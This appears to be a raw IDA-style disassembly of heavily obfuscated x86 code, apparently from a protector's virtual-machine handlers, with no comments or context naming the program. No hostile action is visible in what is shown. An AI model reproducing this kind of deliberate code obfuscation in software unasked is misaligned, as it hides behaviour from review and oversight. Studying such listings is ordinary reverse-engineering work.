		mov	[esp+88h+var_88], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ebp
		mov	ebp, 4
		jmp	loc_5D34EB
; ---------------------------------------------------------------------------


loc_5C75A8:				; CODE XREF: sub_5A55E5+2C785j
		pop	esp
		jmp	loc_5D0B21
; ---------------------------------------------------------------------------


loc_5C75AE:				; CODE XREF: sub_5A55E5+27F62j
		push	ebx
		mov	ebx, esp
		push	5252h
		mov	[esp+90h+var_90], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_5D2B13
; ---------------------------------------------------------------------------


loc_5C75C6:				; CODE XREF: sub_5A55E5+20EA3j
		mov	ebp, 5076972h
		jmp	loc_5C19FE
; ---------------------------------------------------------------------------


loc_5C75D0:				; CODE XREF: sub_5A55E5+23995j
		mov	al, 0C5h
		add	bl, al
		pop	eax
		add	bl, 27h
		and	cl, bl
		jmp	loc_5C2B20
; ---------------------------------------------------------------------------


loc_5C75DF:				; CODE XREF: sub_5A55E5+2DECBj
		add	ecx, 4
		jmp	loc_5C3BCF
; ---------------------------------------------------------------------------


loc_5C75E7:				; CODE XREF: sub_5A55E5+2B20Fj
		mov	[esp+0A8h+var_A8], edx
		push	edi
		mov	edi, 1FFD7D13h
		jmp	loc_5D0248
; ---------------------------------------------------------------------------


loc_5C75F5:				; CODE XREF: sub_5A55E5+2A714j
		push	ecx
		push	3942h
		mov	[esp+0B4h+var_B4], edx
		jmp	loc_5C01BD
; ---------------------------------------------------------------------------


loc_5C7603:				; CODE XREF: sub_5A55E5+2C527j
		sub	ebx, edx
		jmp	loc_5C43F5
; ---------------------------------------------------------------------------


loc_5C760A:				; CODE XREF: sub_5A55E5+1E155j
		mov	eax, 4
		jmp	loc_5C5CC2
; ---------------------------------------------------------------------------


loc_5C7614:				; CODE XREF: sub_5A55E5+2AD07j
		push	7FC36256h
		pop	ebp
		jmp	loc_5D2828
; ---------------------------------------------------------------------------


loc_5C761F:				; CODE XREF: sub_5A55E5+23C39j
		push	eax
		jmp	loc_5C706B
; ---------------------------------------------------------------------------


loc_5C7625:				; CODE XREF: sub_5A55E5+2DE8Cj
		mov	edi, esp
		push	1019h
		mov	[esp+0C8h+var_C8], ecx
		mov	ecx, 0D877601h
		jmp	loc_5C2BEA
; ---------------------------------------------------------------------------


loc_5C7639:				; CODE XREF: sub_5A55E5+24293j
		push	7B522342h
		pop	eax
		jmp	loc_5C68CE
; ---------------------------------------------------------------------------


loc_5C7644:				; CODE XREF: sub_5A55E5+1F991j
		pop	eax
		add	esi, 518A47D0h
		add	esi, eax
		push	2202h
		mov	[esp+8Ah+var_8C+2], eax
		mov	eax, 4C522FA1h
		not	eax
		not	eax
		add	eax, 538182Fh
		sub	esi, 43A47145h
		sub	esi, eax
		add	esi, 43A47145h
		pop	eax
		jmp	loc_5C6422
; ---------------------------------------------------------------------------


loc_5C7677:				; CODE XREF: sub_5A55E5+22D1Ej
		xchg	ecx, [esp+86h+var_88+2]
		pop	esp
		movzx	cx, al
		sub	esp, 4
		mov	[esp+86h+var_88+2], ebx
		push	esp
		jmp	loc_5C8593
; ---------------------------------------------------------------------------


loc_5C768E:				; CODE XREF: sub_5A55E5+2300Fj
		push	ebp
		mov	ebp, esp
		jmp	loc_5C2C4F
; ---------------------------------------------------------------------------


loc_5C7696:				; CODE XREF: sub_5A55E5+2CECBj
		pop	esp
		mov	[esp+8Ah+var_8C+2], ebx
		jmp	loc_5D377F
; ---------------------------------------------------------------------------


loc_5C769F:				; CODE XREF: sub_5A55E5+1D67Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_5D1E98
; ---------------------------------------------------------------------------


loc_5C76B5:				; CODE XREF: sub_5A55E5+2B89Bj
		mov	eax, [esp+94h+var_94]
		add	esp, 4
		sub	al, 3Bh
		jmp	loc_5D18BC
; ---------------------------------------------------------------------------


loc_5C76C5:				; CODE XREF: sub_5A55E5+227AFj
		add	edx, 24384F49h
		jmp	loc_5C8A1E
; ---------------------------------------------------------------------------


loc_5C76D0:				; CODE XREF: sub_5A55E5+2309Ej
		mov	eax, 5F384BD0h
		push	edi
		push	eax
		jmp	loc_5D2CBE
; ---------------------------------------------------------------------------


loc_5C76DC:				; CODE XREF: sub_5A55E5+29C1Bj
		add	esi, ecx
		pop	ecx
		jmp	loc_5CD5F4
; ---------------------------------------------------------------------------


loc_5C76E4:				; CODE XREF: sub_5A55E5+26123j
		add	ebx, 4
		xchg	ebx, [esp+94h+var_94]
		pop	esp
		push	bx
		push	edx
		push	ebx
		jmp	loc_5CE465
; ---------------------------------------------------------------------------


loc_5C76F4:				; CODE XREF: sub_5A55E5+1B34Fj
		mov	ebp, [esp+84h+var_84]
		add	esp, 4
		jmp	loc_5CD8F3
; ---------------------------------------------------------------------------


loc_5C7702:				; CODE XREF: sub_5A55E5+2C308j
		shl	ch, 5
		or	ch, 0F6h
		dec	ch
		not	ch
		and	ch, 0C0h
		xor	ch, 91h
		sub	al, ch
		pop	ecx
		add	al, 76h
		sub	al, dh
		sub	al, 76h
		add	al, 91h
		push	ecx
		jmp	loc_5D2414
; ---------------------------------------------------------------------------


loc_5C7723:				; CODE XREF: sub_5A55E5+27870j
		mov	eax, [esp+80h+var_80]
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_5D245A
; ---------------------------------------------------------------------------


loc_5C772F:				; CODE XREF: sub_5A55E5+25ED1j
		xor	ebx, ebp
		push	[esp+88h+var_88]
		pop	ebp
		add	esp, 4
		sub	ebx, 2C023623h
		mov	ebp, ebx
		pop	ebx
		sub	edi, 7D3A0423h
		jmp	loc_5C3EC4
; ---------------------------------------------------------------------------


loc_5C774F:				; CODE XREF: sub_5A55E5+2E4BCj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp+80h+var_80]
		jmp	loc_5CFA06
; ---------------------------------------------------------------------------


loc_5C7765:				; CODE XREF: sub_5A55E5+20F30j
		add	ebx, edi
		jmp	loc_5C2470
; ---------------------------------------------------------------------------


loc_5C776C:				; CODE XREF: sub_5A55E5+22B6Fj
		mov	[esp+0C0h+var_C0], ebp
		jmp	loc_5C17B6
; ---------------------------------------------------------------------------


loc_5C7774:				; CODE XREF: sub_5A55E5+2DBCDj
		sub	esi, 0F2CBD645h
		mov	eax, esi
		push	[esp+0C0h+var_C0]
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, 2F430768h
		and	eax, esi
		mov	esi, [esp+0C0h+var_C0]
		jmp	loc_5CD340
; ---------------------------------------------------------------------------


loc_5C7793:				; CODE XREF: sub_5A55E5+25CD1j
		push	ecx
		jmp	loc_5C7A60
; ---------------------------------------------------------------------------


loc_5C7799:				; CODE XREF: sub_5A55E5+2AE6Ej
		push	ebx
		mov	bh, 2Ch
		xor	bh, 2Dh
		add	al, bh
		pop	ebx
		sub	al, 0D9h
		and	dl, al
		mov	eax, [esp+0C4h+var_C4]
		add	esp, 4
		sub	dl, 0B2h
		add	bl, dl
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+0C0h+var_C0]
		mov	eax, [esp+0C4h+var_C4]
		add	esp, 4
		jmp	loc_5CD8FC
; ---------------------------------------------------------------------------


loc_5C77C9:				; CODE XREF: sub_5A55E5+1F9C0j
		push	4
		mov	esi, [esp+9Eh+var_A0+2]
		add	esp, 4
		sub	eax, 20EE1FAEh
		jmp	loc_5C85E9
; ---------------------------------------------------------------------------


loc_5C77DE:				; CODE XREF: sub_5A55E5+1E96Aj
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xor	esi, [esp+90h+var_90]
		xor	[esp+90h+var_90], esi
		xor	esi, [esp+90h+var_90]
		jmp	loc_5CF115
; ---------------------------------------------------------------------------


loc_5C77F5:				; CODE XREF: sub_5A55E5+230FBj
		pop	ecx
		push	eax
		not	byte ptr [esp+90h+var_90]
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		xor	al, 0DAh
		xor	bh, al
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_5C7476
; ---------------------------------------------------------------------------


loc_5C7822:				; CODE XREF: sub_5A55E5+2C1F8j
		push	68152248h
		pop	edx
		jmp	loc_5CF43F
; ---------------------------------------------------------------------------


loc_5C782D:				; CODE XREF: sub_5A55E5+26574j
		add	edi, esi
		mov	esi, [esp+88h+var_88]
		add	esp, 4
		jmp	loc_5CC683
; ---------------------------------------------------------------------------


loc_5C783D:				; CODE XREF: sub_5A55E5+1E0B7j
		cmp	cl, al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7845:				; CODE XREF: sub_5A55E5+1B2BAj
		push	edx
		mov	edx, 57434818h
		xor	ebp, edx
		pop	edx
		sub	ebp, 7A6D9DEDh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_5D15CE
; ---------------------------------------------------------------------------


loc_5C785C:				; CODE XREF: sub_5A55E5+231B1j
		xchg	eax, [esp+9Ch+var_9C]
		pop	esp
		mov	[esp+98h+var_98], edi
		jmp	loc_5C7935
; ---------------------------------------------------------------------------


loc_5C7868:				; CODE XREF: sub_5A55E5+2643Dj
		mov	eax, edi
		mov	ebp, eax
		pop	eax
		push	[esp+94h+var_94]
		pop	edi
		add	esp, 4
		sub	ebx, 72F721Dh
		add	ebx, ebp
		add	ebx, 72F721Dh
		jmp	loc_5C1AAE
; ---------------------------------------------------------------------------


loc_5C7887:				; CODE XREF: sub_5A55E5+1D641j
		sub	eax, 7C2F00F3h
		jmp	loc_5C8D2F
; ---------------------------------------------------------------------------


loc_5C7891:				; CODE XREF: sub_5A55E5+28853j
		push	567Dh
		jmp	loc_5CE382
; ---------------------------------------------------------------------------


loc_5C789B:				; CODE XREF: sub_5A55E5+27D93j
		neg	edi
		dec	edi
		jmp	loc_5CBB93
; ---------------------------------------------------------------------------


loc_5C78A3:				; CODE XREF: sub_5A55E5+29642j
		sub	esp, 4
		jmp	loc_5D0A83
; ---------------------------------------------------------------------------


loc_5C78AB:				; CODE XREF: sub_5A55E5+21C43j
		xor	al, bl
		push	[esp+84h+var_84]
		pop	ebx
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_5C6FDC
; ---------------------------------------------------------------------------


loc_5C78BA:				; CODE XREF: sub_5A55E5+24AD5j
		mov	ebx, 620160E7h
		dec	ebx
		not	ebx
		dec	ebx
		sub	esp, 4
		mov	[esp+90h+var_90], edx
		mov	edx, 0E0D742Fh
		not	edx
		inc	edx
		add	edx, 2CF869D3h
		sub	edx, 0AE34E1B2h
		shr	edx, 2
		shl	edx, 3
		and	edx, 6B08061Fh
		sub	edx, 927C8267h
		jmp	loc_5C86A2
; ---------------------------------------------------------------------------


loc_5C78F7:				; CODE XREF: sub_5A55E5+2E173j
		push	[esp+90h+var_90]
		pop	eax
		add	esp, 4
		jmp	loc_5C1A16
; ---------------------------------------------------------------------------


loc_5C7903:				; CODE XREF: sub_5A55E5+20804j
		add	ebx, eax
		sub	ebx, 16C53773h
		jmp	loc_5C4185
; ---------------------------------------------------------------------------


loc_5C7910:				; CODE XREF: sub_5A55E5+21F3Ej
		sub	esi, 0F6860D93h
		sub	eax, esi
		pop	esi
		pop	esi
		add	eax, 7BEA7215h
		sub	eax, ebx
		jmp	loc_5CB50F
; ---------------------------------------------------------------------------


loc_5C7926:				; CODE XREF: sub_5A55E5+1D570j
		mov	ebx, edx
		pop	edx
		sub	[esp+8Ah+var_84+2], ebx
		mov	ebx, [esp+8Ah+var_8C+2]
		jmp	loc_5C16A8
; ---------------------------------------------------------------------------


loc_5C7935:				; CODE XREF: sub_5A55E5+2227Ej
		push	7DFF687Dh
		pop	edi
		jmp	loc_5BFF9C
; ---------------------------------------------------------------------------


loc_5C7940:				; CODE XREF: sub_5A55E5+24B16j
		push	edi
		jmp	loc_5D1733
; ---------------------------------------------------------------------------


loc_5C7946:				; CODE XREF: sub_5A55E5+24368j
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		sub	ecx, 758420ECh
		add	ecx, esi
		add	ecx, 758420ECh
		jmp	loc_5C6D49
; ---------------------------------------------------------------------------


loc_5C7964:				; CODE XREF: sub_5A55E5+24E44j
		add	ebx, 9796912Ah
		add	ebx, edx
		jmp	loc_5CBAAF
; ---------------------------------------------------------------------------


loc_5C7971:				; CODE XREF: sub_5A55E5+22C59j
		xchg	ebx, [esp+0A0h+var_A0]
		pop	esp
		mov	[esp+9Ch+var_9C], esp
		jmp	loc_5C2591
; ---------------------------------------------------------------------------


loc_5C797D:				; CODE XREF: sub_5A55E5+1E8CAj
		add	esp, 4
		push	4E52h
		mov	[esp+9Ah+var_9C+2], edi
		sub	esp, 4
		jmp	loc_5C897F
; ---------------------------------------------------------------------------


loc_5C7996:				; CODE XREF: sub_5A55E5+1B88Aj
		sub	edi, 405D467Fh
		add	ecx, 13D50605h
		add	ecx, edi
		sub	ecx, 13D50605h
		pop	edi
		push	edx
		mov	edx, 414A2989h
		xor	edx, 6333961h
		xor	edx, 14170B58h
		add	edx, 6040F2Ah
		xor	edx, 38883A4Ch
		jmp	loc_5C29A5
; ---------------------------------------------------------------------------


loc_5C79CE:				; CODE XREF: sub_5A55E5+1C9B2j
		push	ebx
		mov	ebx, 4
		add	[esp+0A0h+var_9C], ebx
		pop	ebx
		push	[esp+9Ch+var_9C]
		mov	edi, [esp+0A0h+var_A0]
		add	esp, 4
		add	esp, 4
		jmp	loc_5C7E05
; ---------------------------------------------------------------------------


loc_5C79F0:				; CODE XREF: sub_5A55E5+1CE37j
		mov	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		add	edx, 0AEA62918h
		shr	edx, 6
		jmp	loc_5C162C
; ---------------------------------------------------------------------------


loc_5C7A04:				; CODE XREF: sub_5A55E5+1B9D1j
		pop	ebx
		jmp	loc_5C1EBA
; ---------------------------------------------------------------------------


loc_5C7A0A:				; CODE XREF: sub_5A55E5+268D6j
		push	ecx
		mov	ecx, 1DEB16C8h
		mov	ebx, ecx
		mov	ecx, [esp+0ACh+var_AC]
		add	esp, 4
		add	edx, ebx
		jmp	loc_5CA42E
; ---------------------------------------------------------------------------


loc_5C7A1F:				; CODE XREF: sub_5A55E5+1E029j
		pop	esi
		add	esp, 4
		xchg	ebx, [esp+0B4h+var_B4]
		jmp	loc_5CD984
; ---------------------------------------------------------------------------


loc_5C7A2E:				; CODE XREF: sub_5A55E5+23BD2j
		mov	ecx, [esp+0B4h+var_B4]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+0B8h+var_B8]
		jmp	loc_5C4F05
; ---------------------------------------------------------------------------


loc_5C7A4B:				; CODE XREF: sub_5A55E5+2826Fj
		mov	edi, 6C5F3A23h
		jmp	loc_5C9857
; ---------------------------------------------------------------------------


loc_5C7A55:				; CODE XREF: sub_5A55E5+1B873j
		add	ebp, 0F2BD6A49h
		jmp	loc_5CF0B3
; ---------------------------------------------------------------------------


loc_5C7A60:				; CODE XREF: sub_5A55E5+221AFj
		mov	ecx, 3D5D0814h
		push	ebp
		mov	ebp, 8AA4D7Fh
		jmp	loc_5C4846
; ---------------------------------------------------------------------------


loc_5C7A70:				; CODE XREF: sub_5A55E5+251FFj
		push	4F666B11h
		pop	eax
		push	ebp
		push	ecx
		jmp	loc_5C0103
; ---------------------------------------------------------------------------


loc_5C7A7D:				; CODE XREF: sub_5A55E5+2B821j
		mov	dh, 10h
		sub	dh, 86h
		mov	bl, dh
		mov	edx, [esp+0D0h+var_D0]
		add	esp, 4
		sub	cl, bl
		jmp	loc_5C8EC7
; ---------------------------------------------------------------------------


loc_5C7A91:				; CODE XREF: sub_5A55E5+2878Bj
		push	5300h
		mov	[esp+0D0h+var_D0], edi
		jmp	loc_5CBCC6
; ---------------------------------------------------------------------------


loc_5C7A9E:				; CODE XREF: sub_5A55E5+21B3Ej
		and	ecx, 532E4AACh
		shr	ecx, 1
		dec	ecx
		add	ecx, 0E04E04FCh
		jmp	loc_5CB6E2
; ---------------------------------------------------------------------------


loc_5C7AB2:				; CODE XREF: sub_5A55E5+284D7j
		sub	ebp, 0B4D0FFEh
		shl	ebp, 8
		push	66D3h
		mov	[esp+98h+var_98], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], edx
		push	edi
		mov	edi, 1AE376Ch
		push	ecx
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		jmp	loc_5C3E73
; ---------------------------------------------------------------------------


loc_5C7AE5:				; CODE XREF: sub_5A55E5+1FB9Bj
		xor	edi, [esp+58h+var_58]
		jmp	loc_5C951F
; ---------------------------------------------------------------------------


loc_5C7AED:				; CODE XREF: sub_5A55E5+1FC93j
		sub	eax, 1
		push	eax
		not	[esp+50h+var_50]
		jmp	loc_5CB920
; ---------------------------------------------------------------------------


loc_5C7AFB:				; CODE XREF: sub_5A55E5+1BD7Cj
		push	ebx
		mov	ebx, 538C61A6h
		inc	ebx
		and	ebx, 290B4C0Ah
		and	ebx, 4E252513h
		jmp	loc_5C0D04
; ---------------------------------------------------------------------------


loc_5C7B13:				; CODE XREF: sub_5A55E5+2064Aj
		mov	esi, 73F05850h
		push	54D5h
		mov	[esp+7Ah+var_7C+2], ebp
		mov	ebp, 728B2858h
		neg	ebp
		push	esi
		push	ebx
		jmp	loc_5CFEB0
; ---------------------------------------------------------------------------


loc_5C7B2E:				; CODE XREF: sub_5A55E5+22776j
		add	esp, 4
		jmp	loc_5CDE23
; ---------------------------------------------------------------------------


loc_5C7B36:				; CODE XREF: sub_5A55E5+27BDCj
		mov	edi, 679C3165h
		not	edi
		xor	edi, 4EA57794h
		inc	edi
		sub	edi, 70B37CEDh
		add	edi, 7E787F34h
		add	edi, 73A88622h
		jmp	loc_5C032A
; ---------------------------------------------------------------------------


loc_5C7B5B:				; CODE XREF: sub_5A55E5+1B038j
		mov	ebx, 5A383DA9h
		jmp	loc_5C15CC
; ---------------------------------------------------------------------------


loc_5C7B65:				; CODE XREF: sub_5A55E5+1EBC1j
		add	edi, 9981C5B5h
		jmp	loc_5C6C2D
; ---------------------------------------------------------------------------


loc_5C7B70:				; CODE XREF: sub_5A55E5+1DD65j
		mov	[esp+0B0h+var_B0], edx
		mov	edx, 3B6B14C9h
		inc	edx
		xor	edx, 497919CEh
		xor	edx, 72120D00h
		add	ebp, 5ACC71FCh
		add	ebp, edx
		sub	ebp, 5ACC71FCh
		pop	edx
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5C2F5B
; ---------------------------------------------------------------------------


loc_5C7BA2:				; CODE XREF: sub_5A55E5+2A01Ej
		pop	esi
		jmp	loc_5CE1F6
; ---------------------------------------------------------------------------


loc_5C7BA8:				; CODE XREF: sub_5A55E5+2371Fj
		mov	ecx, [esp+0A8h+var_A8]
		add	esp, 4
		jmp	loc_5CD0E5
; ---------------------------------------------------------------------------


loc_5C7BB3:				; CODE XREF: sub_5A55E5+2D816j
		pop	edi
		push	esi
		jmp	loc_5CC97C
; ---------------------------------------------------------------------------


loc_5C7BBA:				; CODE XREF: sub_5A55E5+2B834j
		push	[esp+0A4h+var_A0]
		mov	ebx, [esp+0A8h+var_A8]
		jmp	loc_5C35A5
; ---------------------------------------------------------------------------


loc_5C7BC6:				; CODE XREF: sub_5A55E5+1B85Aj
		sub	esp, 4
		jmp	loc_5C9CF5
; ---------------------------------------------------------------------------


loc_5C7BD1:				; CODE XREF: sub_5A55E5+1C4FBj
		mov	ebp, [esp+0AAh+var_AC+2]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+0AEh+var_B0+2]
		pop	esp
		add	ebp, 4
		push	305Ah
		mov	[esp+0AEh+var_B0+2], eax
		push	4D6Ch
		jmp	loc_5C4ADD
; ---------------------------------------------------------------------------


loc_5C7C02:				; CODE XREF: sub_5A55E5+2910Aj
		push	ecx
		mov	ecx, 30EF2E5Ch
		shl	ecx, 3
		jmp	loc_5CFDB5
; ---------------------------------------------------------------------------


loc_5C7C10:				; CODE XREF: sub_5A55E5+22D56j
		sub	edi, esi
		pop	esi
		xchg	edi, [esp+0B2h+var_B4+2]
		mov	esp, [esp+0B2h+var_B4+2]
		mov	[esp+0B2h+var_B4+2], ebp
		mov	ebp, esp
		push	ebx
		push	edx
		push	eax
		mov	eax, 5981521Eh
		mov	edx, eax
		pop	eax
		mov	ebx, 0B816BD5Ah
		jmp	loc_5D268F
; ---------------------------------------------------------------------------


loc_5C7C33:				; CODE XREF: sub_5A55E5+2559Fj
		shl	dh, 5
		sub	dh, 0D7h
		xor	dh, 42h
		sub	bl, 85h
		add	bl, dh
		add	bl, 85h
		jmp	loc_5C2EA9
; ---------------------------------------------------------------------------


loc_5C7C49:				; CODE XREF: sub_5A55E5+26F80j
		pop	ebx
		add	esi, edx
		jmp	loc_5CCD42
; ---------------------------------------------------------------------------


loc_5C7C51:				; CODE XREF: sub_5A55E5+286BDj
		and	ecx, ebx
		pop	ebx
		jmp	loc_5D3EC4
; ---------------------------------------------------------------------------


loc_5C7C59:				; CODE XREF: sub_5A55E5+1F7C8j
		pop	ebx
		sub	dh, al
		sub	dh, 0FCh
		jmp	loc_5CC89C
; ---------------------------------------------------------------------------


loc_5C7C64:				; CODE XREF: sub_5A55E5+29CF8j
		add	edi, eax
		pop	eax
		xchg	edi, [esp+64h+var_64]
		pop	esp
		push	77A9h
		mov	[esp+64h+var_64], ecx
		push	[esp+64h+var_60]
		push	[esp+68h+var_68]
		mov	ecx, [esp+6Ch+var_6C]
		jmp	loc_5C2E88
; ---------------------------------------------------------------------------


loc_5C7C82:				; CODE XREF: sub_5A55E5+27664j
		add	ebx, 297F39E5h
		pop	ecx
		jmp	loc_5CC36F
; ---------------------------------------------------------------------------


loc_5C7C8E:				; CODE XREF: sub_5A55E5+26224j
		sub	al, 29h
		sub	esp, 4
		mov	[esp+6Ch+var_6C], ebx
		mov	bl, 1Ah
		dec	bl
		shr	bl, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 2
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp+70h+var_70]
		mov	esp, [esp+70h+var_70]
		mov	word ptr [esp+70h+var_70], dx
		jmp	loc_5C5123
; ---------------------------------------------------------------------------


loc_5C7CC1:				; CODE XREF: sub_5A55E5+2E1A6j
		mov	[esp+70h+var_70], ebp
		jmp	loc_5C2873
; ---------------------------------------------------------------------------


loc_5C7CC9:				; CODE XREF: sub_5A55E5+1D3CFj
		pop	[esp+0ACh+var_AC]
		mov	esp, [esp+0A8h+var_A8]
		shl	[esp+0A8h+var_A8], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7CD8:				; CODE XREF: sub_5A55E5+23291j
		pop	ebp
		jmp	loc_5C8E90
; ---------------------------------------------------------------------------


loc_5C7CDE:				; CODE XREF: sub_5A55E5+2E19Bj
		mov	cl, 23h
		or	cl, 1Dh
		xor	cl, 2Eh
		shl	cl, 4
		sub	cl, 0B2h
		mov	bl, cl
		jmp	loc_5CF843
; ---------------------------------------------------------------------------


loc_5C7CF3:				; CODE XREF: sub_5A55E5+26875j
		mov	ah, ch
		pop	ecx
		and	cl, ah
		jmp	loc_5C16A2
; ---------------------------------------------------------------------------


loc_5C7CFD:				; CODE XREF: sub_5A55E5+1ADEBj
		pop	esi
		add	ecx, ebx
		jmp	loc_5C8E6D
; ---------------------------------------------------------------------------


loc_5C7D05:				; CODE XREF: sub_5A55E5+1F3ABj
		pop	edi
		push	[esp+90h+var_90]
		jmp	loc_5D2145
; ---------------------------------------------------------------------------


loc_5C7D0E:				; CODE XREF: sub_5A55E5+290B9j
		xor	[esp+94h+var_94], edx
		jmp	loc_5D3A96
; ---------------------------------------------------------------------------


loc_5C7D16:				; CODE XREF: sub_5A55E5+2EA72j
		push	61F6h
		mov	[esp+98h+var_98], eax
		push	edx
		sub	esp, 4
		mov	[esp+0A0h+var_A0], ebp
		push	30456CEDh
		pop	ebp
		mov	edx, ebp
		jmp	loc_5CC85A
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A0h+var_A0]
		jmp	loc_5C02BD
; ---------------------------------------------------------------------------


loc_5C7D3B:				; CODE XREF: sub_5A55E5+27359j
		pop	esp
		jmp	loc_5D10CB
; ---------------------------------------------------------------------------


loc_5C7D41:				; CODE XREF: sub_5A55E5+28A36j
		add	edi, 0FFD30433h
		mov	eax, edi
		pop	edi
		sub	ebp, 405D2D5Ah
		add	ebp, eax
		add	ebp, 405D2D5Ah
		mov	eax, [esp+98h+var_98]
		jmp	loc_5C7B2E
; ---------------------------------------------------------------------------


loc_5C7D60:				; CODE XREF: sub_5A55E5+2B1DCj
		add	eax, 4
		push	eax
		push	[esp+9Ch+var_98]
		pop	eax
		pop	[esp+9Ch+var_9C]
		pop	esp
		pop	eax
		jmp	loc_5D0A2F
; ---------------------------------------------------------------------------


loc_5C7D73:				; CODE XREF: sub_5A55E5+1A8A3j
		add	esp, 4
		push	ecx
		mov	ecx, 6F3A100Eh
		dec	ecx
		not	ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, 6B334CBCh
		shl	ecx, 4
		xor	ecx, 0BF6A34D4h
		jmp	loc_5C76C5
; ---------------------------------------------------------------------------


loc_5C7D99:				; CODE XREF: sub_5A55E5+2281Bj
		mov	[esp+84h+var_84], ecx
		pop	dword ptr [eax]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7DA3:				; CODE XREF: sub_5A55E5+28B56j
		add	ebp, 0AC23B1Eh
		push	[esp+80h+var_80]
		jmp	loc_5C9AA4
; ---------------------------------------------------------------------------


loc_5C7DB1:				; CODE XREF: sub_5A55E5+21A6Ej
		not	[esp+0AAh+var_AC+2]
		jmp	loc_5CD53B
; ---------------------------------------------------------------------------


loc_5C7DB9:				; CODE XREF: sub_5A55E5+1B5AAj
		pop	ebx
		xor	ebp, ecx
		pop	ecx
		add	ebp, 1
		push	eax
		mov	eax, 4FED3E96h
		sub	eax, 7A8F11ADh
		and	eax, 7B2A1246h
		sub	eax, 48A012C1h
		shl	eax, 4
		sub	eax, 52CD7796h
		add	ebp, eax
		pop	eax
		inc	ebp
		xor	ebp, 64C87583h
		xor	eax, ebp
		mov	ebp, [esp+7Eh+var_80+2]
		jmp	loc_5D1F70
; ---------------------------------------------------------------------------


loc_5C7DF1:				; CODE XREF: sub_5A55E5+26CBEj
		mov	edx, [esp+7Eh+var_80+2]
		add	esp, 4
		pop	[esp+7Ah+var_7C+2]
		jmp	loc_5C2CAD
; ---------------------------------------------------------------------------


loc_5C7DFF:				; CODE XREF: sub_5A55E5+24C9Ej
		pop	esp
		jmp	loc_5C7D99
; ---------------------------------------------------------------------------


loc_5C7E05:				; CODE XREF: sub_5A55E5+22406j
		push	0C28h
		mov	[esp+9Ch+var_9C], ebp
		mov	ebp, 2F3C57B9h
		shr	ebp, 4
		push	ecx
		push	3DE0662Bh
		pop	ecx
		add	ebp, ecx
		pop	ecx
		shl	ebp, 1
		add	ebp, 1CAA3DE5h
		jmp	loc_5CA40C
; ---------------------------------------------------------------------------


loc_5C7E2C:				; CODE XREF: sub_5A55E5+2B262j
		mov	ebp, 7B69728Eh
		mov	edi, 9A63CCFh
		xor	edi, ebp
		jmp	loc_5D23F9
; ---------------------------------------------------------------------------


loc_5C7E3D:				; CODE XREF: sub_5A55E5+1E5CBj
		push	6327h
		jmp	loc_5D31C8
; ---------------------------------------------------------------------------


loc_5C7E47:				; CODE XREF: sub_5A55E5+21C4Cj
		sub	esp, 4
		jmp	near ptr word_5C6C06
; ---------------------------------------------------------------------------


loc_5C7E52:				; CODE XREF: sub_5A55E5+1FCD9j
		mov	[esp+8Ch+var_8C], ecx
		push	eax
		mov	eax, esp
		jmp	loc_5C1A21
; ---------------------------------------------------------------------------


loc_5C7E5D:				; CODE XREF: sub_5A55E5+22CAFj
		xor	edi, [esp+90h+var_90]
		jmp	loc_5D04E6
; ---------------------------------------------------------------------------


loc_5C7E65:				; CODE XREF: sub_5A55E5+23FC3j
		xor	esi, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		push	728Ah
		mov	[esp+94h+var_94], esi
		push	edx
		push	4674h
		mov	[esp+9Ch+var_9C], ebx
		push	47735416h
		pop	ebx
		push	ebx
		not	[esp+0A0h+var_A0]
		jmp	loc_5C9980
; ---------------------------------------------------------------------------


loc_5C7E8B:				; CODE XREF: sub_5A55E5+27444j
		mov	[esp+0A0h+var_A0], ecx
		jmp	loc_5CFD53
; ---------------------------------------------------------------------------


loc_5C7E93:				; CODE XREF: sub_5A55E5+2635Aj
		mov	[esp+0A0h+var_A0], ecx
		push	esi
		mov	esi, 326A4B5Dh
		mov	ecx, 326A4B5Fh
		sub	ecx, esi
		jmp	loc_5C0F56
; ---------------------------------------------------------------------------


loc_5C7EA8:				; CODE XREF: sub_5A55E5+28F0Ej
		push	edx
		pop	ebx
		push	[esp+0A4h+var_A4]
		pop	edx
		push	ebp
		jmp	loc_5D2DB4
; ---------------------------------------------------------------------------


loc_5C7EB4:				; CODE XREF: sub_5A55E5+2B41Aj
		add	esi, 54B170CFh
		jmp	loc_5D2B78
; ---------------------------------------------------------------------------


